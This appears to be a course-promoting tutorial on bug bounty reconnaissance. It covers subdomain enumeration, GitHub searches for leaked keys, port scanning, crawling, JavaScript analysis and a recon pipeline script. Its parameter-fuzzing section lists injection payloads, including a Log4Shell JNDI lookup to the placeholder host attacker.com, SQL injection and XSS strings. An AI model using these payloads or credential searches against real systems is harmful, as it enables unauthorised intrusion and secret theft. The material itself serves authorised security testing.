🚀 Cyber Security New Batch Start from 1 JunEnroll Now
Cyber Defence
Bug Bounty Methodology

How to Find Bug Bounties

Master Reconnaissance: The Foundation of Successful Bug Bounty Hunting

The Art of Bug Bounty Reconnaissance

Bug bounty hunting is often compared to treasure hunting, and reconnaissance is the map that leads you to the treasure. While many hunters jump straight into testing targets, successful researchers understand that comprehensive reconnaissance separates the beginners from the professionals. Your attack surface is directly proportional to your success rate: more assets discovered means more vulnerabilities to find.

The harsh reality of bug bounty hunting is that most hunters target the same obvious endpoints, competing for the same low-hanging fruits. Meanwhile, forgotten subdomains, staging environments, abandoned applications, and hidden APIs contain vulnerabilities that nobody is looking for. This guide teaches you systematic reconnaissance techniques that professional hunters use to maximize their success.

Why 70% of Your Time Should Be Spent on Recon

Discover assets that 90% of other hunters never find

Build comprehensive understanding of target architecture

Identify forgotten applications with weaker security

Find edge cases that automated scanners miss

Reduce time wasted on out-of-scope assets

Build methodology that scales across all targets

Phase 1: Passive Reconnaissance

Passive reconnaissance involves gathering information without directly interacting with the target. This phase is completely undetectable and provides foundational data for active testing. Start here before touching any target systems.

Subdomain Enumeration Techniques

# Certificate Transparency Log Enumeration
# One of the most effective passive techniques
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Alternative: crt.sh with Wildcard
curl -s "https://crt.sh/?q=target.com&output=json" | jq -r '.[].name_value' \
  | sed 's/*\.//g' | sort -u | grep -v "^target.com$"

# DNS Aggregator Services
# Use Rapid7 DNS Database (passive)
wget -qO- "https://dnsdumpster.com/static/xml/<target>.xml" 2>/dev/null

# Findomain (Fast subdomain discovery)
findomain -t target.com -o

# Assetfinder (Combines multiple sources)
assetfinder target.com | grep target.com

# Amass Passive Mode
amass enum -passive -d target.com -o passive_subdomains.txt
Passive Data Sources
  • - Certificate Transparency Logs
  • - DNS Zone Transfers
  • - Search Engine Results
  • - Public DNS Databases
  • - Shodan and Censys
Recommended Tools
  • - Subfinder (fast, comprehensive)
  • - Amass (deep enumeration)
  • - Assetfinder (quick results)
  • - Findomain (lightweight)
  • - Knockpy (Python-based)

GitHub Reconnaissance

GitHub often contains goldmines of information: exposed API keys, internal endpoints, hardcoded credentials, and forgotten code. Systematic GitHub recon can reveal attack surfaces that no other technique can discover.

# Search for organization repositories
site:github.com "target.com" language:python

# GitHub Search Queries
# Find exposed API keys
filename:.env API_KEY
filename:config.json password

# Internal endpoint references
"api.internal" OR "api.staging"

# JavaScript files revealing endpoints
filename:*.js "api."

# GitDumper for cloning org repositories
gitdumper.sh https://github.com/target/ ./target-repos/

# Search for credentials in commit history
git log --all --grep="password" --oneline
git log --all --grep="api" --oneline

# GitLeaks for automated secret scanning
git clone https://github.com/target/repo
gitleaks detect --source ./repo

Phase 2: Active Reconnaissance

Active reconnaissance involves direct interaction with target systems. This phase requires careful methodology to avoid overwhelming targets with requests or triggering security alerts. Balance thoroughness with discretion.

DNS Bruteforcing

# MassDNS for fast DNS bruteforcing
massdns -r resolvers.txt -t A -o S -w results.txt domains.txt

# Custom wordlists for Indian targets
# Include: dev, staging, test, beta, api, mobile, old, backup

#dns-wordlist.txt
www
api
dev
staging
test
beta
admin
portal
app
mobile
vpn
git
jenkins
ci
stage
old
backup

# amass active enumeration
amass enum -active -d target.com -o active_subdomains.txt

Port Scanning

# Naabu for fast port scanning
naabu -host target.com -rate 1000 -top-ports 100

# Nmap comprehensive scan
nmap -sV -sC -p- -T4 -oA nmap_results target.com

# Masscan for internet-wide scans
masscan -p1-65535 192.168.1.0/24 --rate=1000

# Service detection for all subdomains
for domain in $(cat subdomains.txt); do
  naabu -host $domain -rate 1000 -top-ports 100
done | tee port_scan_results.txt

Web Crawling and Directory Discovery

Web crawling discovers endpoints, parameters, and application structure. Combine multiple crawlers for comprehensive coverage as each tool has different strengths.

# Gospider - Fast web crawler
gospider -s https://target.com -d 5 -t 10 -o gospider_results

# Hakrawler for endpoint discovery
cat targets.txt | hakrawler -depth 5 -plain

# FFUF for directory busting
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,204,301,302,307,401,403

# Advanced: Parameter discovery with Arjun
arjun -i params.txt -u https://target.com/endpoint -t 10

# Waybackurls for historical endpoints
echo "target.com" | waybackurls | sort -u

# Gau (Get All URLs) - Faster alternative
gau target.com | grep "=" | uro | grep -E "\.(js|php|aspx|jsp)"

Phase 3: JavaScript Analysis

Modern web applications heavily rely on JavaScript, and JS files contain a wealth of information: API endpoints, hidden parameters, internal paths, and sometimes hardcoded credentials. JavaScript analysis often reveals attack surfaces that standard crawling misses entirely.

Extracting Endpoints from JavaScript

# LinkFinder - Extract endpoints from JS files
python3 linkfinder.py -i https://target.com/main.js -o cli

# SecretFinder - Find API keys and secrets
python3 secretFinder.py -i https://target.com/main.js

# JSFScan - Comprehensive JS analysis
python3 jsfscan.py --url https://target.com

# Automated JS extraction with Katana
katana -list targets.txt -jc -d 5 -o js_endpoints.txt

# Retire.js for vulnerable JS libraries
 retire --path ./js_files/

# Manual: grep for patterns
grep -r "api" *.js | grep -oE "https?://[^\"']+" | sort -u
grep -r "endpoint" *.js | grep -oE "['\"][^'\"]*['\"]" | sort -u
What to Look for in JavaScript Files
- API endpoints (internal and external)
- Hardcoded credentials or tokens
- Environment configurations
- Debug endpoints and verbose logging
- Third-party service integrations
- Commented-out code revealing intentions
- Version information for known CVEs
- OAuth and authentication flows

Finding Hidden Parameters

Parameter-based vulnerabilities often hide in endpoints that appear safe on the surface. Hidden parameters can reveal IDOR vulnerabilities, XXE endpoints, SSRF triggers, and authentication bypass opportunities. Systematic parameter discovery is a crucial skill for serious bug hunters.

Parameter Discovery Tools

# Arjun - HTTP parameter discovery
arjun -u https://target.com/endpoint -t 10

# Parameth - Parameter enumeration
python3 parameth.py -u https://target.com

# Burp Suite Intruder for parameter testing
# Use pitchfork mode with multiple parameter wordlists

# Common parameter names to test
id, user, account, page, search, admin,
file, debug, test, query, token, key,
api, v, ver, version, format, output,
callback, data, input, q, s, dest, redirect

Parameter Fuzzing Techniques

# FFUF for parameter fuzzing
ffuf -w params.txt -u "https://target.com/page?FUZZ=test" \
  -fc 400 -mr "error" -od param_results

# Nuclei templates for parameter testing
nuclei -t parametertesting-templates/ -l urls.txt

# Common test payloads for parameters
' OR '1'='1
"><script>alert(1)</script>
{{7*7}}
${jndi:ldap://attacker.com/a}
%00nullbyte
 CRLF injection headers
 Unicode normalization bugs

Visual Reconnaissance and Screenshots

Visual reconnaissance helps identify interesting pages and applications that warrant deeper testing. Screenshots of all discovered assets enable rapid visual triage, focusing your manual testing on the most promising targets.

Screenshot Automation Workflow

# Aquatone - Screenshot all discovered subdomains
cat subdomains.txt | aquatone -ports 80,443,8080 -threads 10

# Eyewitness - Alternative screenshot tool
eyewitness -f subdomains.txt -d screenshots/

# httpx - Fast HTTP probing with screenshot support
cat subdomains.txt | httpx -ports 80,443,8080,8443 \
  -screenshot -thread-ratio 10

# Naabu + httpx pipeline
cat subdomains.txt | naabu -ports 80,443,8080 | \
  httpx -screenshot -title -tech-detect

# Organize screenshots by technology
# Focus manual testing on interesting stacks
What to Look For

Login portals, admin panels, debug interfaces, outdated software versions

Technology Clues

Apache Tomcat, Jenkins, phpMyAdmin, Swagger UI, old frameworks

High Value Targets

Staging environments, test applications, legacy systems, internal tools

Building Your Reconnaissance Methodology

Successful bug bounty hunters develop systematic methodologies that they apply consistently across all targets. A repeatable process ensures no asset is overlooked and maximizes efficiency over time.

Complete Recon Pipeline Script

#!/bin/bash
# Bug Bounty Reconnaissance Pipeline
TARGET=$1

echo "[*] Starting reconnaissance on $TARGET"

# Phase 1: Subdomain Enumeration
echo "[*] Phase 1: Subdomain enumeration..."
findomain -t $TARGET -o findomain_$TARGET.txt
amass enum -passive -d $TARGET -o amass_$TARGET.txt
subfinder -d $TARGET -o subfinder_$TARGET.txt

# Combine and deduplicate
cat findomain_$TARGET.txt amass_$TARGET.txt subfinder_$TARGET.txt | \
  sort -u > all_subdomains_$TARGET.txt

# Phase 2: DNS Resolution
echo "[*] Phase 2: DNS resolution..."
dns_probe -l all_subdomains_$TARGET.txt -o resolved_$TARGET.txt

# Phase 3: Port Scanning
echo "[*] Phase 3: Port scanning..."
naabu -host $TARGET -rate 1000 -top-ports 100 -o naabu_$TARGET.txt

# Phase 4: Screenshot Gathering
echo "[*] Phase 4: Screenshots..."
cat all_subdomains_$TARGET.txt | httpx -screenshot -thread-ratio 10

# Phase 5: Web Crawling
echo "[*] Phase 5: Web crawling..."
gospider -s https://$TARGET -d 5 -t 10 -o crawler_$TARGET

echo "[*] Reconnaissance complete. Results in ./$TARGET-recon/"

Recon Checklist for Every Target

Must do
Certificate Transparency Log enumeration
Must do
DNS bruteforcing with custom wordlists
Must do
GitHub repository reconnaissance
Must do
Port scanning all discovered assets
Must do
Screenshot gathering for visual triage
Must do
JavaScript file collection and analysis
Should do
Wayback Machine historical data
Should do
Shodan/Censys Internet search devices
Should do
Parameter enumeration on key endpoints
Must do
Technology fingerprinting

Frequently Asked Questions

Why is reconnaissance important in bug bounty hunting?

Reconnaissance is the foundation of successful bug bounty hunting. Studies show that 70% of successful hunters spend more than half their time on reconnaissance. The more assets you discover, the larger your attack surface. Most hunters target obvious endpoints while goldmines hide in forgotten subdomains, staging environments, and forgotten applications.

What is the most effective subdomain enumeration technique?

The most effective approach combines multiple techniques: passive reconnaissance using certificate transparency logs, DNS aggregators, and public datasets; active enumeration using DNS bruteforcing with customized wordlists; and validation against multiple resolvers. Tools like Amass, Subfinder, and assetfinder work together to maximize coverage. Always combine at least three different methods for comprehensive results.

How do I find hidden attack surfaces that other hunters miss?

Hidden attack surfaces include forgotten development branches, test environments, old API versions, third-party integrations, and beta applications. Look for assets mentioned in JavaScript files, GitHub repositories, and subdomain takeovers. Tools like gospider, waybackurls, and LinkFinder help discover endpoints that standard crawling misses. Also check for hidden parameters using tools like Arjun or param-miner.

What tools should I use for bug bounty reconnaissance?

Essential recon tools include: Amass and Subfinder for subdomain enumeration; Nuclei for vulnerability scanning; FFUF and Gobuster for directory busting; Gospider and Hakrawler for web crawling; Waybackurls and Gau for historical data; LinkFinder for JavaScript analysis; and Naabu for port scanning. Build custom toolchains combining these based on your methodology.

How much time should I spend on reconnaissance vs testing?

Professional bug bounty hunters recommend spending 60-70% of your time on reconnaissance and 30-40% on actual testing. This ratio may shift as you gain experience, but beginners should focus heavily on building comprehensive asset lists before testing. Quality reconnaissance directly correlates with hunting success. Many top researchers spend weeks on recon before testing a new target.

How do I organize and track my bug bounty reconnaissance data?

Organize reconnaissance data using structured directories: separate folders for each target containing subdomains, screenshots, screenshots, live URLs, and vulnerability candidates. Use tools like Aquatone for visual recon, and maintain notes in Obsidian or Notion. Track all programs, scope details, and findings systematically. Automation scripts that pipe recon output into organized databases significantly improve efficiency over time.

Master Bug Bounty Reconnaissance

Learn professional reconnaissance techniques and build systematic bug hunting methodology in our ethical hacking course.